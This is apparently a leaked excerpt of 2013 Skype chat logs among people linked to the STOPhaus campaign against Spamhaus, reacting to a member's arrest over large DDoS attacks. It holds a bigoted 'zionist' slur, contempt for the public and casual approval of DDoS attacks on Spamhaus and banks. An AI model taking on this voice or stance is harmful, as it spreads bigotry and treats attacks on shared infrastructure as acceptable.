63207. 219.158.27.9 32.8% 411 192.2 180.8 174.4 250.9 17.4
63218. 219.158.97.1 27.3% 411 175.1 181.2 174.5 248.6 18.0
63229. 219.158.3.105 26.1% 411 166.1 168.0 165.9 204.5 4.9
632310. 219.158.99.246 26.3% 410 204.2 210.8 203.1 277.7 19.0
632411. 221.6.2.170 25.9% 410 200.7 201.1 197.2 217.7 4.9
632512. 58.240.67.94 23.9% 410 205.3 202.3 198.0 236.0 7.2
632613. 112.86.149.224 23.9% 410 230.9 216.0 199.1 301.6 20.0
6327[25.03.2013 21:30:54] Antitheist: traceroute google.com > log.txt | mailmao@npc.gov.cn
6328[25.03.2013 21:30:58] Antitheist: should be fine...
6329[25.03.2013 21:31:13] narko: lol
6330[25.03.2013 21:31:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
6331[25.03.2013 21:32:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i cannot reach this zionist capitalist piece of filth propaganda!
6332[25.03.2013 21:33:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its amazing how spamhaus doesn't even show up in our bing results :P
6333[25.03.2013 21:33:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and in google its all over the place
6334[25.03.2013 21:33:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
6335[25.03.2013 21:33:37] narko: my datacenter says they won't help, although if the traffic takes another path (NOT tinet) into china there is no loss
6336[25.03.2013 21:33:40] narko: :|
6337[02:43:30] *** narko quit ***
6338[02:46:48] *** HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP quit ***
6339
6340
6341[---] The Skype chat goes quiet at this point and resumes four weeks later [---]
6342
6343
6344[26.04.2013 18:36:32] Hephaistos: guys
6345[26.04.2013 18:36:49] Hephaistos: I just got noticed in the news that sven got arrested
6346[26.04.2013 18:39:39] Валерий Лёлин: where in the new
6347[26.04.2013 18:39:39] Валерий Лёлин: news
6348[26.04.2013 18:40:40] Hephaistos:
6349http://translate.google.be/translate?sl=nl&tl=en&u=http%3A%2F%2Fwww.telegraaf.nl%2Fbinnenland%2F21518021%2F__Nederlander_aangehouden_in_Spanje_vanwege_cyberaanvallen__.html
6350[26.04.2013 18:40:43] Hephaistos: dutch news
6351[26.04.2013 18:45:05] Hephaistos: his large-scale DDoS attacks last
6352month were also performed on Spamhaus partners in the Netherlands, the
6353United States and Great Britain. The attackers were using fake IP addresses.
6354As yet, no evidence that the cyber attack on Spamhaus related to the
6355attacks are later deployed to include banks, payment system iDeal and
6356DigiD. The house of the suspect, who lives in Barcelona, ??is examined.
6357Is expected to K. transferred to the Dutch Public Prosecution Service.
6358[26.04.2013 19:12:40] Hephaistos: http://translate.google.be/translate?sl=nl&tl=en&u=http%3A//www.om.nl/actueel/nieuws-persberichten/@160856/nederlander/
6359[26.04.2013 19:18:48] The STOPhaus Movement: I thought something was wrong
6360[26.04.2013 19:19:02] The STOPhaus Movement: is he arrested or just being searched and forensics?
6361[26.04.2013 19:19:13] Hephaistos: arrested
6362[26.04.2013 19:19:19] The STOPhaus Movement:
6363[26.04.2013 19:19:21] Hephaistos: as far as I can see.
6364[26.04.2013 19:19:33] Hephaistos: it goes off in twitter
6365[26.04.2013 19:19:39] The STOPhaus Movement: everyone else is ok though right?
6366[26.04.2013 19:19:45] Hephaistos: on irc anonops there is a channel #freecb3rob
6367[26.04.2013 19:19:54] Hephaistos: https://twitter.com/freecb3rob
6368[26.04.2013 19:20:06] Hephaistos: well I have not seen Narko for 2 days.
6369[26.04.2013 19:20:16] The STOPhaus Movement:
6370[26.04.2013 19:20:27 |changed 19:20:34] The STOPhaus Movement: we need an update from him
6371[26.04.2013 19:20:59] The STOPhaus Movement: narko is never offline that long
6372[26.04.2013 19:21:26] Hephaistos: thing is that I cannot connect to his irc server either.
6373[26.04.2013 19:21:56] The STOPhaus Movement: I thought anonops was talking shit about Sven promoting CB via STOP when I saw the chatroom?
6374[26.04.2013 19:22:12 | changed 19:22:22] The STOPhaus Movement: Now there is a channel. I am glad, but that's some flip-flop stuff right there
6375[26.04.2013 19:22:14] Hephaistos: well I created the channel
6376[26.04.2013 19:22:22] Hephaistos: if they have a problem with me .. bring it on
6377[26.04.2013 19:22:22] The STOPhaus Movement: oh ok
6378[26.04.2013 19:22:29] The STOPhaus Movement: lulz
6379[26.04.2013 19:22:40] The STOPhaus Movement: Self-righteous assholes
6380[26.04.2013 19:28:44] Cali: Sven from cb3rob has been arrested.
6381[26.04.2013 19:40:19] Hephaistos: Sven = cb3rob
6382[26.04.2013 19:40:47] Cali: yeah
6383[26.04.2013 19:40:49] Cali: so he's been stopped
6384[26.04.2013 19:40:52] Cali: in Spain.
6385[26.04.2013 19:40:57] Hephaistos: yes
6386[26.04.2013 19:41:05] NM: Is it truth? Not fake?
6387[26.04.2013 19:41:13] Cali: it is in dutch news.
6388[26.04.2013 19:41:16] Hephaistos: it is truth
6389[26.04.2013 19:41:21] Hephaistos: and all over twitter
6390[26.04.2013 19:43:13] Hephaistos: https://twitter.com/search?q=%23freecb3rob&src=hash
6391[26.04.2013 20:27:00] Hephaistos: http://www.ibtimes.co.uk/articles/461848/20130426/spamhaus-suspect-arrests-spain-kamphuis.htm
6392[26.04.2013 20:29:30] Yuri: heh.
6393[26.04.2013 20:30:07] Hephaistos: On twitter "Sven Olaf Kamphuis #freecb3rob possible source behind
6394record braking 300gbps #DDos arrested. #Anonymous will now try and break that record!"
6395[26.04.2013 20:32:31] Cali: So, it has made some PR for spamhaus.
6396[26.04.2013 20:32:37] Cali: that sucks.
6397[26.04.2013 20:34:06] Hephaistos: negative is still good.
6398[26.04.2013 20:34:36] Cali: this information has gone to press and media.
6399[26.04.2013 20:34:48] Cali: thus to the people
6400[26.04.2013 20:34:58] Hephaistos: well once they read what stophaus is.
6401[26.04.2013 20:35:05] Cali: who are at 90% dumb.
6402[26.04.2013 20:35:09] Hephaistos: true
6403[26.04.2013 20:35:14] Hephaistos: You got a point there
6404[26.04.2013 20:35:15] Cali: So now that make them think that spamhaus is doing well.
6405[26.04.2013 20:41:22] Hephaistos: pastebin.com/qzhcE1nV
6406[26.04.2013 20:41:25] Hephaistos: more badnews
6407[26.04.2013 20:41:56] Cali: Who has written that?
6408[26.04.2013 20:42:09] Hephaistos: I have no idea.
6409[26.04.2013 20:42:23] Hephaistos: its over the news everyone is freaking out
6410[26.04.2013 20:42:25] Cali: It seems to have be written by a 12 years old.
6411[26.04.2013 20:42:31] Cali: been*
6412[26.04.2013 20:42:52] Hephaistos: correct, seems like a trol to me. But tell that to the media
6413[26.04.2013 20:43:03] Hephaistos: and the 90% dumb people
6414[26.04.2013 20:43:09] Cali: Also I don't understand.
6415[26.04.2013 20:43:23] Cali: How is it possible to get such reflection in media by posting something on pastebin?
6416[26.04.2013 20:43:37] Cali: So if I post that I am going to attack the U.S on pastebin, I would be in the news?
6417[26.04.2013 20:43:58] Hephaistos: Well, thing is that people think that banks will be ddosed and cannot get their
6418money. So their hoping that there will be a bankrun.
6419[26.04.2013 20:44:45] Cali: It is very doubtful that DDoSing the website of a bank will prevent the bank from operating.
6420[26.04.2013 20:46:45] Hephaistos: it will cost the bank money
6421[26.04.2013 20:47:32] Cali: Maybe to crap bank.
6422[26.04.2013 20:48:07] Cali: it will be insignifiant
6423[26.04.2013 20:48:11] Cali: insignificant.
6424
6425[26.04.2013 18:21:36] Erik Bais: http://www.om.nl/actueel/nieuws-persberichten/@160856/nederlander/
6426[26.04.2013 18:26:15] Yuri: wtf
6427[26.04.2013 18:26:42] Yuri: is that about sven?
6428[26.04.2013 18:26:53] Erik Bais: looks like it.
6429[26.04.2013 18:27:03] NM: what does it mean?)))
6430[26.04.2013 18:28:17] Yuri: looks like some new that somebody got arrested becouse of some attacks of spamhaus...
6431heh... looks spamhaus has long hands.
6432[26.04.2013 18:29:49] Yuri: not so fine.
6433[26.04.2013 18:31:11] Yuri: afk
6434[26.04.2013 18:31:44] Yuri: Eric, can you call Sven and check if he is available?
6435[26.04.2013 18:31:55] Erik Bais: yes.
6436[26.04.2013 18:32:30] Erik Bais: I also just asked Twisted on Skype. he didn't knew about it..
6437He hasn't spoken to him yet today (he did yesterday) ..
6438[26.04.2013 18:33:59] Erik Bais: his spanish nr is not working (I get a message in spanish .. ) could be because the number is off.
6439[26.04.2013 21:51:16] Erik Bais: http://pastebin.com/qzhcE1nV
6440[26.04.2013 21:51:51] Erik Bais: http://www.telegraaf.nl/binnenland/21518021/__Arrest_NL_er_cyberaanvallen__.html
6441[26.04.2013 21:52:11] Erik Bais: http://tweakers.net/nieuws/88767/nederlander-opgepakt-voor-ddos-aanvallen-spamhaus.html
6442[26.04.2013 21:53:32] Erik Bais: http://krebsonsecurity.com/2013/04/dutchman-arrested-in-spamhaus-ddos/
6443[26.04.2013 21:53:50] Yuri: shit is going on..
6444[26.04.2013 21:56:17] Erik Bais: where did the pastbin thing came from ? Any idea ?
6445[26.04.2013 22:02:14] Yuri: don't know
6446[26.04.2013 22:02:46] Yuri: may be we should use other system for chat?
6447[26.04.2013 22:18:07] Erik Bais: they have taken all his phones, data carriers and servers / computers located in Spain..
6448[26.04.2013 22:18:24] WebExxpurts: what is patebin
6449[26.04.2013 22:18:25] WebExxpurts: pastebin
6450[26.04.2013 22:18:39] Erik Bais: [26 April 2013 21:51] Erik Bais: <<< http://pastebin.com/qzhcE1nV
6451[26.04.2013 22:18:50] WebExxpurts: i mean who created that?
6452[26.04.2013 22:19:21] Erik Bais: no idea. I got it pasted from someone.. and it is also linked in various media outings on the Netherlands.
6453[26.04.2013 22:20:27] WebExxpurts: who is someone? that is interested
6454[26.04.2013 22:20:33] WebExxpurts: what sven did?
6455[26.04.2013 22:20:53] WebExxpurts: nonsense reports
6456[26.04.2013 22:21:20] Erik Bais: I got it from Xennt
6457[26.04.2013 22:21:45] Erik Bais: the owner of Cyberbunker. he got it linked by someone (I don't know who. )
6458[26.04.2013 22:24:55] WebExxpurts: i m sure that sven is mistaken identity and authority have made mistake
6459
6460[END]